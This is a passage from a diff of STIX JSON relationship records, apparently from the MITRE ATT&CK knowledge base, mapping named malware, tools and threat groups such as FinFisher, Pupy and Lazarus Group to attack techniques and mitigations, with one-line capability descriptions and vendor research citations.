"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cc6e0159-1216-4ca5-ac5c-55e961878785", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to retrieve information about connected users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) has the ability to list processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--112fec98-96be-4843-a56e-90d6b3fc02b2", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2014, March 13). Kunming Attack Leads to Gh0st RAT Variant. Retrieved November 12, 2014.", + "source_name": "Alintanahin 2014", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) collects hard drive content and system configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0f66681a-7daf-4cd7-99af-3005b6586306", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28", + "source_ref": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "modified": "2019-07-25T11:43:19.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host\u2019s IP address and find out other network configuration settings by viewing connected sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee", + "source_ref": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", + "modified": "2019-07-24T19:34:34.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Responder](https://attack.mitre.org/software/S0174) captures hashes and credentials that are sent to the system after the name services have been poisoned.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2", + "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "source_name": "GitHub Responder", + "url": "https://github.com/SpiderLabs/Responder" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.058Z", + "id": "relationship--3427863f-d4c4-4272-ad60-1479e42ed4af", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.690Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools contained an application to check performance of USB flash drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) extracts and decrypts stage 3 malware, which is stored in encrypted resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4bffc31-3d7a-4f05-a85d-fdaaaa70853d", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a Launch Agent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--13ab29aa-3f71-4439-a8fa-1b98edbb4355", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the .LNK file from the startup directory as well as the dropper components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fa745ba0-428f-4c3c-84be-e333f659690f", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers information about the OS architecture, OS name, and OS version/Service pack.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f3e4b47e-cde3-4f27-85b7-464b02325ee6", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.104Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) leverages cmd.exe to perform discovery techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a2440552-4190-4f72-9cf5-a63eecdff2fb", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can download files off the target system to send back to the server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cc9ffcec-db79-4913-91ae-ffd5cec643f7", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) can download files remotely.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5b48c2b1-0ce7-4856-9bc7-ae359826550c", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to perform \u201cnet user\u201d commands and create local system and domain accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6c7965c9-6ea5-4693-889d-25c1c47b2698", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.924Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7df01656-109b-49ad-a9e4-c1b89ba82508", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with the login \"HelpAssistant\" with the Limbo module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.979Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) adds itself to a Registry Run key with the name guidVGA or guidVSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) contains junk code in its functions in an effort to confuse disassembly programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b10b7d66-3bee-4ebc-98c2-2eec2259e19e", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can use HTTP or DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--49c7a467-98ce-4764-af86-c950ed951d13", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) lists the system\u2019s processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87e7c117-bf53-432e-9ff3-2aeb2e522231", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a package that collects documents from any inserted USB sticks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses WMI to check for anti-virus software installed on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--49b63fca-e16a-446e-89fc-2b899f8420bf", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--4189f5b4-4c57-452a-a3fb-da5988804feb", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has used forged Microsoft code-signing certificates on malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 